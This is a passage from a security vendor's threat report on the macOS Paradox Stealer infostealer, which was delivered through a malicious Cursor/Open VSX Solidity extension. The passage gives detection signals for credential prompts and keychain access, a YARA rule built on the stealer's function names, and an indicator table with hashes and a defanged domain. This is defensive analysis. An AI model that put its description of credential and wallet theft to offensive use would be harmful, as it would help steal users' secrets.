</span></span><span style="display:flex;"><span>binary_path: /bin/chmod
</span></span><span style="display:flex;"><span>signing_id: com.apple.chmod
</span></span><span style="display:flex;"><span>process_args: chmod +x xoxoxoxxx
</span></span></code></pre></div><p>The final payload is written and launched from a transient path under <code>/private/var/folders</code>, a location that legitimate IDE helpers rarely execute arbitrary, unsigned content from. Execution originating from this directory by an IDE-associated helper represents a strong behavioural detection opportunity.</p>
<h3 id="paradox-stealer">Paradox Stealer</h3>
<p>If the payload executes successfully, the following signals form typical points of detection for infostealer behaviour, including Paradox Stealer.</p>
<ul>
<li><code>osascript</code> prompting for user credentials</li>
<li>Unexpected <code>dscl -authonly</code> authentication attempts</li>
<li>Direct interaction with the keychain by unsigned or untrusted binaries</li>
</ul>
<p>Once running, Paradox targets high-value browser and wallet data. Unusual access to browser cookie stores, cryptocurrency-related extensions, or credential repositories provides high-confidence signals that the malware has entered its data-theft stage.</p>
<p>Further analysis of the Paradox Stealer codebase shows a modular design with folders dedicated to discovery, extraction and related functions. Based on the exposed function names, Phorion developed the following YARA rule that can be used to detect the payload.</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>rule MAL_Paradox_Stealer_Nov25 {
</span></span><span style="display:flex;"><span>    meta:
</span></span><span style="display:flex;"><span>        description = &#34;Compiled Go binary for Paradox Stealer&#34;
</span></span><span style="display:flex;"><span>        author = &#34;Phorion&#34;
</span></span><span style="display:flex;"><span>        date = &#34;2025-11-26&#34;
</span></span><span style="display:flex;"><span>        score = 70
</span></span><span style="display:flex;"><span>    strings:
</span></span><span style="display:flex;"><span>        $n = &#34;paradox_payload&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f1 = &#34;CheckBrowserDirectories&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f2 = &#34;CheckCryptoDirectories&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f3 = &#34;CheckKeychainDirectories&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f4 = &#34;CheckCommunicationAppDirectories&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f5 = &#34;ExtractBrowserData&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f6 = &#34;getMacOSPasswordViaAppleScript&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f7 = &#34;GetIPInfo&#34; ascii wide
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    condition:
</span></span><span style="display:flex;"><span>        filesize &lt; 10MB and
</span></span><span style="display:flex;"><span>        (uint32(0) == 0xfeedface or    // the mach magic number
</span></span><span style="display:flex;"><span>         uint32(0) == 0xcefaedfe or    // NXSwapInt(MH_MAGIC)
</span></span><span style="display:flex;"><span>         uint32(0) == 0xfeedfacf or    // the 64-bit mach magic number
</span></span><span style="display:flex;"><span>         uint32(0) == 0xcffaedfe or    // NXSwapInt(MH_MAGIC_64)
</span></span><span style="display:flex;"><span>         (
</span></span><span style="display:flex;"><span>            uint32(0) == 0xcafebabe and    // Mach-O FAT binaries
</span></span><span style="display:flex;"><span>            uint16(4) &lt; 0x30               // Avoid Java classes
</span></span><span style="display:flex;"><span>         )) and
</span></span><span style="display:flex;"><span>        all of them
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h2 id="phorions-approach">Phorion&rsquo;s Approach</h2>
<p>Phorion&rsquo;s macOS-native EDR detected and prevented the Paradox Stealer payload before it could execute. This matters in the context of infostealers because detection alone is rarely enough to protect sensitive data. Once a process reaches browser storage or keychain paths, the window to prevent theft is small.</p>
<p>If an infostealer does execute, Phorion&rsquo;s cookie theft protections provide an additional layer of defence. These controls block non-browser processes from accessing sensitive browser file paths and terminate offending processes the moment they touch protected locations. The design interrupts infostealers early in their workflow and significantly reduces the chance of data leaving the device using a behavioural methodology.</p>
<p>Effective investigation also depends on visibility. Phorion collects extension metadata from IDEs such as Cursor and VSCode, enabling rapid identification of hosts running malicious or backdoored packages. This shortens the investigation cycle and simplifies response during active incidents.</p>
<p>Interested in how Phorion defends macOS endpoints against threats like Paradox Stealer? <a href="#cta">Get in touch to arrange a demo</a>.</p>
<h2 id="indicators"><strong>Indicators</strong></h2>
<table>
  <thead>
      <tr>
          <th style="text-align: left">IOC</th>
          <th style="text-align: left">Type</th>
          <th style="text-align: left">Notes</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left"><code>c0325074a01db097d0dcddfe5f792f7d6da5c719</code></td>
          <td style="text-align: left">SHA1</td>
          <td style="text-align: left">package.json</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>8786e4c0ee4bee8fc16902b5090c26c17a3ef4ec</code></td>
          <td style="text-align: left">SHA1</td>
          <td style="text-align: left">webpack.js</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>48e041224a58e967741bfdc5837e589af34e6a9a</code></td>
          <td style="text-align: left">SHA1</td>
          <td style="text-align: left">Paradox Stealer Binary</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>function[.]undefined21[.]com</code></td>
          <td style="text-align: left">Domain</td>
          <td style="text-align: left"></td>
      </tr>
      <tr>
          <td style="text-align: left"><code>xoxoxoxxx</code></td>
          <td style="text-align: left">Binary Name</td>
          <td style="text-align: left"></td>
      </tr>
      <tr>
          <td style="text-align: left"><code>~/.cursor/extensions/ether.solidity-0.0.191-universal/</code></td>
          <td style="text-align: left">Path</td>
          <td style="text-align: left"></td>
      </tr>
  </tbody>
</table>
]]></content:encoded><category>Cursor</category><category>Open VSX</category><category>Paradox Stealer</category><category>SleepyDuck</category><category>Infostealer</category><category>Threat Report</category><media:content url="https://phorion.io/blog/macos-paradox-stealer-used-in-solidity-open-vsx-extension-attack/social-card.png" medium="image"/></item></channel></rss>